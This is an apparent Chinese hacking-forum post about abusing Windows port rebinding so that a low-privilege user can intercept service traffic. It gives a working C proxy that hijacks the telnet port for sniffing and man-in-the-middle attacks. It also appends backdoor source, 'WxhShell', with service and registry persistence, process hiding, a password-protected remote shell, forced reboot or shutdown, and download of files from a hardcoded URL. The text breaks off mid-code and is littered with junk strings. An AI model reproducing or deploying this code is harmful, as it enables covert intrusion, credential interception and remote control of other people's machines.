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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t + Fm?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J8(v65  
l 4(-yWC$H  
  saddr.sin_family = AF_INET; #Ey!?Z  
7j{SCE;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J}lBK P:-*  
Z5\u9E"]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zs)HzOP)9  
^cd+W?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5^[V%4y>  
d&t |Y:,8  
  这意味着什么?意味着可以进行如下的攻击: AOhsat;O`  
p.&FK'&[0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8L.Y0_x  
]M>mwnt+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N3i}>Q)B  
1[/X$DyaK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "w=.2A:q  
7+=fD|Cl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]0g<][m  
I%;xMt Y1o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TDA+ rl  
:jgwp~l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =p:D_b  
 >Xh 9{/o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :*#I1nb$  
p-r}zc9@  
  #include 'ym/@h7h  
  #include G^5}T>TV  
  #include z1_\P) M  
  #include    BY72fy#e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $ ^m_M.1  
  int main() JT,8/o  
  { \Ua"gS2L  
  WORD wVersionRequested; 4mPCAA7  
  DWORD ret; Il>!C\hU  
  WSADATA wsaData; } 5FdX3YR  
  BOOL val; \A Y7%>  
  SOCKADDR_IN saddr; td&W>(3d  
  SOCKADDR_IN scaddr; ~M2w&g;1  
  int err; z^O>'9#  
  SOCKET s; jv?`9{-  
  SOCKET sc; T)qD}hl  
  int caddsize; Mo0+"`   
  HANDLE mt; &Nt4dp`qj  
  DWORD tid;   Zm^4p{I%o*  
  wVersionRequested = MAKEWORD( 2, 2 ); 8ZE{GX.m2c  
  err = WSAStartup( wVersionRequested, &wsaData ); T[;O K  
  if ( err != 0 ) { 2/x+7F}w5  
  printf("error!WSAStartup failed!\n"); ZFY t[:  
  return -1; .{*V^[.  
  } ;}ileL Tl  
  saddr.sin_family = AF_INET; mn)kd  
   &U*=D8!0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A#\NVN8sk  
m:.ywiw=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &AG,]#  
  saddr.sin_port = htons(23); e@F9'z4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m = "N4!  
  { f)~urGazS  
  printf("error!socket failed!\n"); ;*[nZV>  
  return -1; 1Y_Cd  
  } A90o X1l  
  val = TRUE; KAT4C 4=,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &+u) +<&;(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ECWn/4Aws  
  { kTL{?-  
  printf("error!setsockopt failed!\n"); :)SLi  
  return -1; 0j F~cV  
  } !g-|@W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pc J5UJY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ! jm>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oDXUa5x  
gT 22!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a= +qR:wT  
  { ri<E[8\  
  ret=GetLastError(); : 2Ho  
  printf("error!bind failed!\n"); 7loIX Qw  
  return -1; !'Q/9%g  
  } |<t"O  
  listen(s,2); s `B"qw  
  while(1) lED-Jo2  
  { h/j+ b.|  
  caddsize = sizeof(scaddr); DDsU6RyN  
  //接受连接请求 PMebn$(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^F"Q~?D)  
  if(sc!=INVALID_SOCKET) Fc% @  
  { > SU2Jw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W9D]s~bO;  
  if(mt==NULL) C0eP/d  
  { _@3@_GE  
  printf("Thread Creat Failed!\n"); nlQ<Aa-%  
  break; C0|<+3uND=  
  } '5\7>2fI  
  } /p+ (_Y  
  CloseHandle(mt); 7@NAky(  
  } 7aUk?Hf  
  closesocket(s); {+_ pyL  
  WSACleanup(); ^Qt4}V=  
  return 0; AL74q[>  
  }   *,A?lX,9A  
  DWORD WINAPI ClientThread(LPVOID lpParam) EbZRU65J}O  
  { Sp3?I2 o  
  SOCKET ss = (SOCKET)lpParam; Av:5v3%  
  SOCKET sc; {{7%z4l  
  unsigned char buf[4096]; %]S~PKx  
  SOCKADDR_IN saddr; 2It$ bz  
  long num; _h", ,"p#o  
  DWORD val; wg\*FfQn  
  DWORD ret; yJkERiJV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RsIR}.*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <2Lcy&w_M  
  saddr.sin_family = AF_INET; Bvj-LT=)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {%.FIw k  
  saddr.sin_port = htons(23); f0]8/)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _C$JO   
  { sS/#)/B  
  printf("error!socket failed!\n"); Rd7Xs  
  return -1; .]}kOw:(#  
  } # Y/ .%ch.  
  val = 100; FTZ][  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fmC)]O%q  
  { ~GZ!;An  
  ret = GetLastError(); !$P +hX`  
  return -1; P#H|at  
  } (F@.o1No%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 28>PmH]7  
  { ]y= ff6Q  
  ret = GetLastError(); Ch8w_Jf1yx  
  return -1; zY6{ OP!#  
  } R{uq8NA- W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5|&8MGW-$  
  { WlVp|s{TYP  
  printf("error!socket connect failed!\n"); P[6@1  
  closesocket(sc); 6UOV,`:m+  
  closesocket(ss); *$mDu,'8  
  return -1; oace!si  
  } ZWH?=Bk:  
  while(1) W&23M26"{  
  { *T\- iICw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q|/uL`_ni  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8q*MhH>6I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U9GmkXRix  
  num = recv(ss,buf,4096,0); ihivJ Z  
  if(num>0) eq +t%  
  send(sc,buf,num,0); 1~/?W^ir  
  else if(num==0) {a -bew  
  break; lIPy)25~  
  num = recv(sc,buf,4096,0); Sp8Xka~5*#  
  if(num>0) d1$3~Xl]  
  send(ss,buf,num,0); fZ!fwg$  
  else if(num==0) VU6nu4   
  break; ^c",!Lp}{  
  } Mr'P0^^  
  closesocket(ss); /Ud<4j-  
  closesocket(sc); foY=?mbL  
  return 0 ; /Qi;'h]  
  } oo sbf#V  
" '/:Tp)  
Pl(+&k`}  
========================================================== n46A  
[C 1o9c!  
下边附上一个代码,,WXhSHELL ^M36=~j  
'ap<]mf2  
========================================================== rF C6"_  
O9y4.`a"  
#include "stdafx.h" Vp{e1xpY  
\7M+0Ul1  
#include <stdio.h> "J:~Aa%_  
#include <string.h> xE%1C6~C<  
#include <windows.h> q2v:lSFY  
#include <winsock2.h> + <AD  
#include <winsvc.h> 3J t_=!qlo  
#include <urlmon.h> \z>Re$:  
q0|u vt"  
#pragma comment (lib, "Ws2_32.lib") *K#7,*Oz  
#pragma comment (lib, "urlmon.lib") LDDeZY"xd  
R'bmE:nL  
#define MAX_USER   100 // 最大客户端连接数 I L dRN  
#define BUF_SOCK   200 // sock buffer 5c50F{  
#define KEY_BUFF   255 // 输入 buffer `@+}zE  
jM`)N d  
#define REBOOT     0   // 重启 n^<3E; a  
#define SHUTDOWN   1   // 关机 ]C.x8(2!f  
:EOx>Pf_9)  
#define DEF_PORT   5000 // 监听端口 $50rj  
Uawf,57v<  
#define REG_LEN     16   // 注册表键长度 3k)W0]:|<  
#define SVC_LEN     80   // NT服务名长度 -1dbJ/)  
05et h  
// 从dll定义API Q(@/,%EF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -<rQOPH%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nu !(7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !9GJ9ZEXM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c`:hEQs  
2uonT,W  
// wxhshell配置信息 %jaB>4.A:  
struct WSCFG { p<>x qU  
  int ws_port;         // 监听端口 ,nn5LQ|l.j  
  char ws_passstr[REG_LEN]; // 口令 `m2e *  
  int ws_autoins;       // 安装标记, 1=yes 0=no 52+;j[ ]/O  
  char ws_regname[REG_LEN]; // 注册表键名 !<9sOvka{  
  char ws_svcname[REG_LEN]; // 服务名 gq9D#B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #T\Yi|Qs#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +Kc1a;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,Qvclu8r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^`b&fb v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tj &PB_v1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {v&c5B~,\  
#hinb[fQ  
}; D(3\m)  
jDI)iW`P  
// default Wxhshell configuration GA&mM   
struct WSCFG wscfg={DEF_PORT, 5~(.:RX:q  
    "xuhuanlingzhe", zJ;K4)"j  
    1, HQi57QB  
    "Wxhshell", >7@kwj-f)  
    "Wxhshell", =+um:*a.  
            "WxhShell Service", a*4"j2j v  
    "Wrsky Windows CmdShell Service", w)x`zVwO  
    "Please Input Your Password: ", 3L2@C%  
  1, .Q'/e>0  
  "http://www.wrsky.com/wxhshell.exe", Wxjv=#3  
  "Wxhshell.exe" en\shc{R]`  
    }; :00 #l]g0q  
]RYk Y7>`  
// 消息定义模块 nya-Io.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X4<!E#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U?/UW;k[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +rEqE/QF  
char *msg_ws_ext="\n\rExit."; D&1*,`  
char *msg_ws_end="\n\rQuit."; *"rgK|CM$  
char *msg_ws_boot="\n\rReboot..."; OkSJob  
char *msg_ws_poff="\n\rShutdown..."; 3Cq/ o'  
char *msg_ws_down="\n\rSave to "; Izrf42 >k  
/Mq]WXq[V  
char *msg_ws_err="\n\rErr!"; D>& ;K{!  
char *msg_ws_ok="\n\rOK!"; Vp3 9`m-W  
[~&C6pR  
char ExeFile[MAX_PATH]; npcB+6  
int nUser = 0; u Qy5t:!  
HANDLE handles[MAX_USER]; %9.] bd|%F  
int OsIsNt; KX*Hev'K  
99XbpP55  
SERVICE_STATUS       serviceStatus; a }6Fj&hj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \EH:FM}l,  
u3{gX{so  
// 函数声明 Y-(),k_Q:  
int Install(void); HV:mS*e  
int Uninstall(void); cv fh:~L  
int DownloadFile(char *sURL, SOCKET wsh); "BB#[@  
int Boot(int flag); 8+^?<FKa  
void HideProc(void); 2u9^ )6/  
int GetOsVer(void); jYwv+EXg  
int Wxhshell(SOCKET wsl); !\{&^,y  
void TalkWithClient(void *cs); 4Q0@\dR9  
int CmdShell(SOCKET sock); X|.M9zIx  
int StartFromService(void); X1*6qd+E  
int StartWxhshell(LPSTR lpCmdLine); by*>w/@9)k  
JyPsRpi\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x?Wt\<|h!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UN`F|~@v  
COS(pfC  
// 数据结构和表定义 mT N6-V  
SERVICE_TABLE_ENTRY DispatchTable[] = g*UI~rp  
{ $@_7HE3  
{wscfg.ws_svcname, NTServiceMain}, YJgw%UVJ5m  
{NULL, NULL} JL~QE-pvD  
}; b`Wn98s  
z-G|EAON"/  
// 自我安装  & y1' J  
int Install(void) ?p{xt$<p  
{ \jn[kQ+pJ  
  char svExeFile[MAX_PATH]; <j1l&H|ux,  
  HKEY key; a,Gd\.D  
  strcpy(svExeFile,ExeFile); 5,:tjn  
s:Us*i=H,  
// 如果是win9x系统,修改注册表设为自启动 yjvH)t/!.  
if(!OsIsNt) { Hfer\+RX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^G63GYh]y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .%+`e  
  RegCloseKey(key); o/I<)sa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fShf4G_w\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ')#E,Y%Hq  
  RegCloseKey(key); dfB#+wh  
  return 0; T:0X-U  
    } 2G"mm (   
  } gnbs^K w  
} U*8;ZXi  
else { ? WWnt^  
Kq/W-VyGh  
// 如果是NT以上系统,安装为系统服务 ]UnZc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xu#\CYk  
if (schSCManager!=0) "Kk3#  
{ 8F0+\40  
  SC_HANDLE schService = CreateService ,hK0F3?H>  
  ( lo:]r.lX{  
  schSCManager, :oF\?e  
  wscfg.ws_svcname, yWIM,2x}  
  wscfg.ws_svcdisp, 8WWRKP1V  
  SERVICE_ALL_ACCESS, g~d}?B\<@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Egt;Bj#%  
  SERVICE_AUTO_START, x8p#WB  
  SERVICE_ERROR_NORMAL, 9vL`|`Vau  
  svExeFile, G8`q-B}q  
  NULL, LGT\1u  
  NULL, e , zR  
  NULL, <FH3 ePz  
  NULL, bG +p  
  NULL '#<?QE!d2  
  ); x]%e_  
  if (schService!=0) z Q NL){  
  { ]sO})  
  CloseServiceHandle(schService); "}D uAs  
  CloseServiceHandle(schSCManager); JGIN<J85e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~\hA-l36  
  strcat(svExeFile,wscfg.ws_svcname); k%QhF]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t~p9iGX<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zW%-Z6%D  
  RegCloseKey(key); !m pRLBH  
  return 0; D8_m_M| P  
    } x Mtl<Na   
  } ?n/:1LN,  
  CloseServiceHandle(schSCManager); h 88iZK  
} f(DGC2R <  
} A <iF37.  
V_U$JKJ1=  
return 1; q /|<>s  
} yY*OAC  
H;s0|KRgJ  
// 自我卸载 uc%75TJ@  
int Uninstall(void) -;T>4B=  
{ /-4i"|  
  HKEY key; Z5Ao3O@  
;^:~xJFx|  
if(!OsIsNt) { N`y!Km  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \~xsBPX+x  
  RegDeleteValue(key,wscfg.ws_regname); .CI]8O"3y  
  RegCloseKey(key); ~=%eOoZP;c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uW4G!Kw28  
  RegDeleteValue(key,wscfg.ws_regname); D>c%5h  
  RegCloseKey(key); =(*Eh=Pw  
  return 0; ` e~/  
  } :RHNV  
} PiI ):B>  
} }K;@$B6,@  
else { F=B>0Q5   
]*}*zXN/E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X=(8t2  
if (schSCManager!=0) Pf)<6?T  
{ VYf$0oo\4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U_!"&O5lr  
  if (schService!=0) ZERUvk  
  { ({![  
  if(DeleteService(schService)!=0) { X =S;8=N  
  CloseServiceHandle(schService); gq[}/E0e  
  CloseServiceHandle(schSCManager); Rjo6Pd{d<  
  return 0; Du$kDCU  
  } \ ;Hj,z\  
  CloseServiceHandle(schService); >?M:oUVDU  
  } #x#.@  
  CloseServiceHandle(schSCManager); $a\q<fN}  
} F.?:Gd1  
} "rc}mq  
8[f]9P/i  
return 1; 4,FkA_k  
} %S>lPt  
,k{{ZP P  
// 从指定url下载文件 \I#lLP  
int DownloadFile(char *sURL, SOCKET wsh) UN| "D]>/  
{ ]ZO^@sH  
  HRESULT hr; &z{oVU+mA  
char seps[]= "/"; 3X0^xUA6  
char *token; * _C6. %{  
char *file; ~u%9@}Oo>  
char myURL[MAX_PATH]; $q.8ve0&^  
char myFILE[MAX_PATH]; $+JaEF`8  
VbBZ\`b  
strcpy(myURL,sURL); 4s`*o/it  
  token=strtok(myURL,seps); XPUH\I=  
  while(token!=NULL) #k)G1Y[c  
  { sPkT>q  
    file=token; ,2H5CFX/  
  token=strtok(NULL,seps); OD>-^W t;%  
  } ; {I{X}b  
rVQ:7\=Z  
GetCurrentDirectory(MAX_PATH,myFILE); 6JRee[  
strcat(myFILE, "\\"); `ZV;Le '  
strcat(myFILE, file); d^]wqnpf  
  send(wsh,myFILE,strlen(myFILE),0); Ow/ /#:  
send(wsh,"...",3,0); X@x: F|/P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); plfz)x3  
  if(hr==S_OK) "793R^Tz  
return 0; 9A B~*;U  
else SL%4w<  
return 1; zCO5 `%14  
*PL+)2ob  
} x"AYt:ewuc  
v.r$]O  
// 系统电源模块 @H&Aj..  
int Boot(int flag) b^Rg_,s  
{ !6<2JNf  
  HANDLE hToken; ^N Et{]x  
  TOKEN_PRIVILEGES tkp; ]o,)#/' $  
aM?7'8/  
  if(OsIsNt) { '-w G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q#sMew\{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UfcM2OmbK  
    tkp.PrivilegeCount = 1; U0jq.]P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BAoqO Xv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?H*_:?=6  
if(flag==REBOOT) { f=/S]o4/3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (nBJ,v)  
  return 0; IeN!nK-  
} ( Y/ DMQ  
else { ,iSs2&$ m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >Cd%tIie*  
  return 0; q;kM eE*  
} u#J5M&#  
  } *WMcE$w/D  
  else { ?0'bf y]  
if(flag==REBOOT) { |C>Yd*E,C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H7qda' %>  
  return 0; VJ_E]}H  
} =N7N=xY  
else { V3@^bc!   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i>)Whr'e8  
  return 0; D\* raQ`n  
} vNE91  
} / d6mlQS  
i7 p#%2  
return 1; }b\d CGVr  
} ;'gzR C  
q%>L/KJ#  
// win9x进程隐藏模块 !7%L%~z^  
void HideProc(void) k(VA5upCs  
{ aN;L5;m#>{  
ZV;#ZXch  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D"A`b{z  
  if ( hKernel != NULL ) OkzfQ hC}  
  { cE]tvL:g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #exE ~@fy-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1/le%}mK  
    FreeLibrary(hKernel); mi97$Cr2  
  } (x.K%QC)  
 KsUsj3J  
return; %j^=  
} Atfon&^  
GVEjB;  
// 获取操作系统版本 I[[rVts  
int GetOsVer(void) "me J n/  
{ GueqpEd2  
  OSVERSIONINFO winfo; ?FMHK\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KY|Q#i|pM  
  GetVersionEx(&winfo); [xI@)5Xk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y/@4|9!  
  return 1; _v2FXm   
  else KbwWrf>  
  return 0; [HNGTde&  
} |L`w4;  
/6 P()Upe  
// 客户端句柄模块 ^8V]g1]fiG  
int Wxhshell(SOCKET wsl) _|6{(  
{ w,`x(!&  
  SOCKET wsh; jr!x)yd  
  struct sockaddr_in client; )C|>M'g@v  
  DWORD myID; evszfCH'J  
QKOo # 7  
  while(nUser<MAX_USER) 7J>n;8{%?  
{ lZ_i~;u4@v  
  int nSize=sizeof(client); 37lmB '~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YJ!6)d?C.  
  if(wsh==INVALID_SOCKET) return 1; /ebYk-c  
 Xv:<sX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UTs0=:+,t  
if(handles[nUser]==0) Mw+]*  
  closesocket(wsh); Wgx lQXi-B  
else ~^VcTSY@<L  
  nUser++; s*]1d*B!  
  } H%])>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O'idS`   
YtIJJH  
  return 0; <cepRjDn  
} C=hE@  
9IIe:  
// 关闭 socket @p `#y  
void CloseIt(SOCKET wsh) TR: D  
{  "&C'K  
closesocket(wsh); 4H1s"mP<  
nUser--; b(~NqV!i  
ExitThread(0); 6Ajiz_~U  
} OkFq>;{a  
pV>/ "K  
// 客户端请求句柄 |5![k<o#  
void TalkWithClient(void *cs) [#2= w  
{ Wigm`A=,r  
/- kMzL  
  SOCKET wsh=(SOCKET)cs; X8*q[@$  
  char pwd[SVC_LEN]; y'E)iI*  
  char cmd[KEY_BUFF]; BHFWig*{  
char chr[1]; 7i/?+|  
int i,j; (mza&WF7  
J-I7K !B  
  while (nUser < MAX_USER) { L'[ '7  
dmE-W S  
if(wscfg.ws_passstr) { W:0@m^r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Txw,B2e)>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rmd;u g9  
  //ZeroMemory(pwd,KEY_BUFF); GbNVcP.ocP  
      i=0; y< 146   
  while(i<SVC_LEN) { d~[ >%&  
nGyY`wt&Rg  
  // 设置超时 44_n5vp,T  
  fd_set FdRead; M)3h 4yQ  
  struct timeval TimeOut; T]E$H, p  
  FD_ZERO(&FdRead); !})+WSs'"s  
  FD_SET(wsh,&FdRead); v3@)q0@  
  TimeOut.tv_sec=8; 1 k H  
  TimeOut.tv_usec=0; zHu:Ec7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WddU|-W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  NU_VUd2  
Q$RP2&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h!)(R<  
  pwd=chr[0]; %7V?7BE  
  if(chr[0]==0xd || chr[0]==0xa) { y0=BL  
  pwd=0; a2 YdkdjT  
  break; >GZF \ER  
  } ?mF-zA'4]  
  i++; mXa1SZnE   
    } GU"MuW`u2  
'l<kY\I!%  
  // 如果是非法用户,关闭 socket [x)BQX'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F]Y Pq  
} VSP[G ,J.  
2gFQHV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J/ rQ42d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uvz9x"0[u  
H[6d@m- Z  
while(1) { LFh(. }  
g\6(ezUF*  
  ZeroMemory(cmd,KEY_BUFF); *!nS4 [d  
[vIO  
      // 自动支持客户端 telnet标准   4NbC V)Dm  
  j=0; oXz:zoNQ  
  while(j<KEY_BUFF) { s!UC{)g,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n}._Nb 5  
  cmd[j]=chr[0]; W;0_@!?mr}  
  if(chr[0]==0xa || chr[0]==0xd) { U;{VL!  
  cmd[j]=0; $x`U)pv  
  break; XvdK;  
  } g=Qj9Z  
  j++; '9RHwKu&s  
    } ozGK -$  
VT0I1KQx.  
  // 下载文件 tM !1oWH  
  if(strstr(cmd,"http://")) { OO\UF6MCU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6%fU}si,  
  if(DownloadFile(cmd,wsh)) az19-QIcg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G.(9I~!  
  else i2swots  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h3JIiwv0!  
  } `Y+p7*Qr2  
  else { eJ?SLMLY  
9]kWM]B)o  
    switch(cmd[0]) { )DoY*'Cl  
  /j.V0%  
  // 帮助 ?{^T&<18t  
  case '?': { ."=Bx2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BfhOe~+i  
    break; 1FY^_dvH  
  } tp0^%!*9  
  // 安装 qKWkgackP  
  case 'i': { {zg}KiNDZd  
    if(Install()) ;,9|;)U?u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iaPY>EP1  
    else 6idYz"P %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NEK;'"  ~  
    break; v|n.AGn  
    } OZ7MpQ  
  // 卸载 ~omX(kPzK  
  case 'r': { ^yBx.GrQc  
    if(Uninstall()) D4 e)v%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LeO5BmwHR  
    else }.e*=/"MB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^>]p4Q3 6  
    break; bD49$N?>  
    } u6|7P<HUfb  
  // 显示 wxhshell 所在路径 "esV#%:#J  
  case 'p': { iUSs)[]H>  
    char svExeFile[MAX_PATH]; f$/Daq <M  
    strcpy(svExeFile,"\n\r"); < v0 d8  
      strcat(svExeFile,ExeFile); :a`l_RMU  
        send(wsh,svExeFile,strlen(svExeFile),0); YMm Fpy  
    break; =FdS'<GM  
    } S* <: He&1  
  // 重启 oBIKt S*L  
  case 'b': { ~9x$tb x-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u QCQ$  
    if(Boot(REBOOT)) ~2 =B:;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fet>KacTht  
    else { H?O*  
    closesocket(wsh); X;zy1ZH  
    ExitThread(0); Q2iu}~  
    } x+^iEj`gk  
    break; BcA:M\dK%  
    } "z7.i{  
  // 关机 <!4'?K-N  
  case 'd': { T;.#=h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +vZ-o{}.jO  
